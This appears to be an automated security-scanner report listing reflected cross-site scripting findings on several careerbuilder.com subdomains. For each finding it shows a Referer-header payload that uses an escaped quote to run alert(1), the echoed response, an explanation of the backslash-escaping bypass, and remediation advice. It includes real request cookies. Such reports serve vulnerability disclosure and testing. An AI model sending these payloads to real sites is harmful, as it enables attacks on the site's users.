GET /ag.ic/Florida_Miami_Payroll.htm HTTP/1.1 Host: accounting.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BID=X13ACF19327AEAC65072116A0EEB7368F916169A12E907F8C06BE387AC4A5AFD3A02B5F3087AB74F54A9922BF4B57C0A12; PU=0; CB%5FSID=a839a7c1d4f149f0a63fe152456c56b4-343070815-TW-4; :mxdl41=pg=1&sc=-1&sd=0; Referer: http://www.google.com/search?hl=en&q=80589\'%3balert(1)//7e390f9d8e4
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 174595 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: florida_miami_payroll.htm:mxdl41=pg=1&sc=-1&sd=0; path=/ X-Powered-By: ASP.NET X-PBY: REBEL5 Date: Sun, 14 Nov 2010 23:20:34 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Miami ...[SNIP]... s_cb.eVar5='JS_AS_City | State | Job Type'; s_cb.eVar11='NotRegistered'; s_cb.eVar14='Miami, FL'; s_cb.eVar15='NO_NotRegistered'; s_cb.eVar16='natural (google) - 80589\\';alert(1)//7e390f9d8e4'; /************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s_cb.t();if(s_code)document.write(s_code)//--> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5a8cd\'%3balert(1)//b7f3cbea5f9 was submitted in the Referer HTTP header. This input was echoed as 5a8cd\\';alert(1)//b7f3cbea5f9 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /ag.ic/Florida_Miami_Reporting.htm?IPath=OCP&lr=cbcb_mhf48aa HTTP/1.1 Host: accounting.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BID=X13ACF19327AEAC65072116A0EEB7368F916169A12E907F8C06BE387AC4A5AFD3A02B5F3087AB74F54A9922BF4B57C0A12; PU=0; CB%5FSID=a839a7c1d4f149f0a63fe152456c56b4-343070815-TW-4; :mxdl41=pg=1&sc=-1&sd=0; Referer: http://www.google.com/search?hl=en&q=5a8cd\'%3balert(1)//b7f3cbea5f9
Response (redirected)
HTTP/1.1 200 OK Cache-Control: private Content-Length: 174706 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: florida_miami_reporting.htm:mxdl41=pg=1&sc=-1&sd=0; path=/ X-Powered-By: ASP.NET X-PBY: BEAR6 Date: Sun, 14 Nov 2010 23:27:17 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Miami ...[SNIP]... s_cb.eVar5='JS_AS_City | State | Job Type'; s_cb.eVar11='NotRegistered'; s_cb.eVar14='Miami, FL'; s_cb.eVar15='NO_NotRegistered'; s_cb.eVar16='natural (google) - 5a8cd\\';alert(1)//b7f3cbea5f9'; /************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s_cb.t();if(s_code)document.write(s_code)//--> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1d838\'%3balert(1)//ec2babe9869 was submitted in the Referer HTTP header. This input was echoed as 1d838\\';alert(1)//ec2babe9869 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /ag.ic/Florida_Miami_Reporting.htm HTTP/1.1 Host: accounting.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BID=X13ACF19327AEAC65072116A0EEB7368F916169A12E907F8C06BE387AC4A5AFD3A02B5F3087AB74F54A9922BF4B57C0A12; PU=0; CB%5FSID=a839a7c1d4f149f0a63fe152456c56b4-343070815-TW-4; :mxdl41=pg=1&sc=-1&sd=0; Referer: http://www.google.com/search?hl=en&q=1d838\'%3balert(1)//ec2babe9869
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 174828 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: florida_miami_reporting.htm:mxdl41=pg=1&sc=-1&sd=0; path=/ X-Powered-By: ASP.NET X-PBY: REBEL33 Date: Sun, 14 Nov 2010 23:21:40 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Miami ...[SNIP]... s_cb.eVar5='JS_AS_City | State | Job Type'; s_cb.eVar11='NotRegistered'; s_cb.eVar14='Miami, FL'; s_cb.eVar15='NO_NotRegistered'; s_cb.eVar16='natural (google) - 1d838\\';alert(1)//ec2babe9869'; /************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s_cb.t();if(s_code)document.write(s_code)//--> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 50124\'%3balert(1)//0accddd36a4 was submitted in the Referer HTTP header. This input was echoed as 50124\\';alert(1)//0accddd36a4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /ag.ic/Florida_Miami_TaxAccounting.htm HTTP/1.1 Host: accounting.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BID=X13ACF19327AEAC65072116A0EEB7368F916169A12E907F8C06BE387AC4A5AFD3A02B5F3087AB74F54A9922BF4B57C0A12; PU=0; CB%5FSID=a839a7c1d4f149f0a63fe152456c56b4-343070815-TW-4; :mxdl41=pg=1&sc=-1&sd=0; Referer: http://www.google.com/search?hl=en&q=50124\'%3balert(1)//0accddd36a4
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 174984 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: florida_miami_taxaccounting.htm:mxdl41=pg=1&sc=-1&sd=0; path=/ X-Powered-By: ASP.NET X-PBY: REBEL33 Date: Sun, 14 Nov 2010 23:22:24 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Miami ...[SNIP]... s_cb.eVar5='JS_AS_City | State | Job Type'; s_cb.eVar11='NotRegistered'; s_cb.eVar14='Miami, FL'; s_cb.eVar15='NO_NotRegistered'; s_cb.eVar16='natural (google) - 50124\\';alert(1)//0accddd36a4'; /************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s_cb.t();if(s_code)document.write(s_code)//--> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 77750\'%3balert(1)//879e9ac1947 was submitted in the Referer HTTP header. This input was echoed as 77750\\';alert(1)//879e9ac1947 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /ag.ic/Florida_Miami_TaxAccounting.htm?IPath=OCP&lr=cbcb_mhf48aa HTTP/1.1 Host: accounting.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BID=X13ACF19327AEAC65072116A0EEB7368F916169A12E907F8C06BE387AC4A5AFD3A02B5F3087AB74F54A9922BF4B57C0A12; PU=0; CB%5FSID=a839a7c1d4f149f0a63fe152456c56b4-343070815-TW-4; :mxdl41=pg=1&sc=-1&sd=0; Referer: http://www.google.com/search?hl=en&q=77750\'%3balert(1)//879e9ac1947
Response (redirected)
HTTP/1.1 200 OK Cache-Control: private Content-Length: 174993 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: florida_miami_taxaccounting.htm:mxdl41=pg=1&sc=-1&sd=0; path=/ X-Powered-By: ASP.NET X-PBY: BEAR29 Date: Sun, 14 Nov 2010 23:29:09 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Miami ...[SNIP]... s_cb.eVar5='JS_AS_City | State | Job Type'; s_cb.eVar11='NotRegistered'; s_cb.eVar14='Miami, FL'; s_cb.eVar15='NO_NotRegistered'; s_cb.eVar16='natural (google) - 77750\\';alert(1)//879e9ac1947'; /************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s_cb.t();if(s_code)document.write(s_code)//--> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 15d13\'%3balert(1)//fe56b96080b was submitted in the Referer HTTP header. This input was echoed as 15d13\\';alert(1)//fe56b96080b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /ac.ic/Florida_Miami/?lr=cbcb_mh&SiteID=cbcb_mh030 HTTP/1.1 Host: admin-clerical.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=15d13\'%3balert(1)//fe56b96080b
Response (redirected)
HTTP/1.1 200 OK Cache-Control: private Content-Length: 182180 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: :mxdl41=pg=1&sc=-1&sd=0; path=/ Set-Cookie: CB%5FSID=dfa4109b3c3d40deaf61fe4e74f21e70-343070817-RS-4; domain=.careerbuilder.com; path=/; HttpOnly Set-Cookie: BID=X13ACF19327AEAC650C1115A68087250A1D365AC8E36853AEF9FBAE5174D13819F988A20C05E8A930A791A0ECD58470E83; domain=.careerbuilder.com; expires=Mon, 14-Nov-2011 22:26:56 GMT; path=/; HttpOnly Set-Cookie: PU=0; domain=.careerbuilder.com; expires=Sun, 14-Nov-2010 22:41:56 GMT; path=/ X-Powered-By: ASP.NET X-PBY: REBEL28 Date: Sun, 14 Nov 2010 22:26:56 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Miami ...[SNIP]... s_cb.eVar8='JS_FindJobs - Job Results'; s_cb.eVar11='NotRegistered'; s_cb.eVar14='Miami, FL'; s_cb.eVar15='NO_NotRegistered'; s_cb.eVar16='natural (google) - 15d13\\';alert(1)//fe56b96080b'; /************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s_cb.t();if(s_code)document.write(s_code)//--> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 45b43\'%3balert(1)//95a70c346c was submitted in the Referer HTTP header. This input was echoed as 45b43\\';alert(1)//95a70c346c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /ac.ic/Florida_Miami/ HTTP/1.1 Host: admin-clerical.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=45b43\'%3balert(1)//95a70c346c
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 182073 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: :mxdl41=pg=1&sc=-1&sd=0; path=/ Set-Cookie: CB%5FSID=22764023ee034704bda5975aaa089352-343070667-RL-4; domain=.careerbuilder.com; path=/; HttpOnly Set-Cookie: BID=X13ACF19327AEAC650BF7DA71D67AF1CE5740F446FBFE0297659B2CAB9F3201DD65D60982B44534385A36E6117DAB244D2; domain=.careerbuilder.com; expires=Mon, 14-Nov-2011 22:24:27 GMT; path=/; HttpOnly Set-Cookie: PU=0; domain=.careerbuilder.com; expires=Sun, 14-Nov-2010 22:39:27 GMT; path=/ X-Powered-By: ASP.NET X-PBY: REBEL21 Date: Sun, 14 Nov 2010 22:24:26 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Miami ...[SNIP]... s_cb.eVar8='JS_FindJobs - Job Results'; s_cb.eVar11='NotRegistered'; s_cb.eVar14='Miami, FL'; s_cb.eVar15='NO_NotRegistered'; s_cb.eVar16='natural (google) - 45b43\\';alert(1)//95a70c346c'; /************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s_cb.t();if(s_code)document.write(s_code)//--> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ed325\'%3balert(1)//a2006f10fc was submitted in the Referer HTTP header. This input was echoed as ed325\\';alert(1)//a2006f10fc in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET / HTTP/1.1 Host: api.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=ed325\'%3balert(1)//a2006f10fc
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 9455 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: CB%5FSID=e3f8d780150c42bdaf0099872eed4f67-343074381-wg-6; domain=.careerbuilder.com; path=/; HttpOnly Set-Cookie: BID=X13ACF19327AEAC650F86A26BBE4AD890075BCE825E8CBFE9A17D384E5A683FA7DD6931DBD9BFFFCAAB287C9F0EC9DE396; domain=.careerbuilder.com; expires=Mon, 14-Nov-2011 23:26:21 GMT; path=/; HttpOnly X-Powered-By: ASP.NET X-PBY: BEAR17 Date: Sun, 14 Nov 2010 23:26:21 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Find J ...[SNIP]... s_cb.server='api'; s_cb.eVar8='api.careerbuilder.com/api/info.aspx'; s_cb.eVar11='NotRegistered'; s_cb.eVar15='NO_NotRegistered'; s_cb.eVar16='natural (google) - ed325\\';alert(1)//a2006f10fc'; /************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s_cb.t();if(s_code)document.write(s_code)//--> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f7876\'%3balert(1)//2a4ac647379 was submitted in the Referer HTTP header. This input was echoed as f7876\\';alert(1)//2a4ac647379 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /bf.ic/Florida_Miami/ HTTP/1.1 Host: banking-finance.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=f7876\'%3balert(1)//2a4ac647379
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 179080 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: :mxdl41=pg=1&sc=-1&sd=0; path=/ Set-Cookie: CB%5FSID=98667f98e5c7489a86d60306e6aa7986-343070679-R8-4; domain=.careerbuilder.com; path=/; HttpOnly Set-Cookie: BID=X13ACF19327AEAC650DA3FD652AE407CF8145D6807B8F000BC9B21F4E0713C9D1D3275F93A7C063DD1AB9BD0B0FCDB558C; domain=.careerbuilder.com; expires=Mon, 14-Nov-2011 22:24:39 GMT; path=/; HttpOnly Set-Cookie: PU=0; domain=.careerbuilder.com; expires=Sun, 14-Nov-2010 22:39:39 GMT; path=/ X-Powered-By: ASP.NET X-PBY: REBEL8 Date: Sun, 14 Nov 2010 22:24:39 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Miami ...[SNIP]... s_cb.eVar8='JS_FindJobs - Job Results'; s_cb.eVar11='NotRegistered'; s_cb.eVar14='Miami, FL'; s_cb.eVar15='NO_NotRegistered'; s_cb.eVar16='natural (google) - f7876\\';alert(1)//2a4ac647379'; /************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s_cb.t();if(s_code)document.write(s_code)//--> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c0688\'%3balert(1)//669e64fff42 was submitted in the Referer HTTP header. This input was echoed as c0688\\';alert(1)//669e64fff42 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /bf.ic/Florida_Miami/?lr=cbcb_mh&SiteID=cbcb_mh032 HTTP/1.1 Host: banking-finance.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=c0688\'%3balert(1)//669e64fff42
Response (redirected)
HTTP/1.1 200 OK Cache-Control: private Content-Length: 179397 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: :mxdl41=pg=1&sc=-1&sd=0; path=/ Set-Cookie: CB%5FSID=01dad8ee4ec949139c37815160da596c-343070822-R3-4; domain=.careerbuilder.com; path=/; HttpOnly Set-Cookie: BID=X13ACF19327AEAC65041B0164C5C0918E352507EB545CE2531FD805E6455470126ADEEDECE63BA37E763FDE2727F5FA09A; domain=.careerbuilder.com; expires=Mon, 14-Nov-2011 22:27:02 GMT; path=/; HttpOnly Set-Cookie: PU=0; domain=.careerbuilder.com; expires=Sun, 14-Nov-2010 22:42:02 GMT; path=/ X-Powered-By: ASP.NET X-PBY: REBEL3 Date: Sun, 14 Nov 2010 22:27:01 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
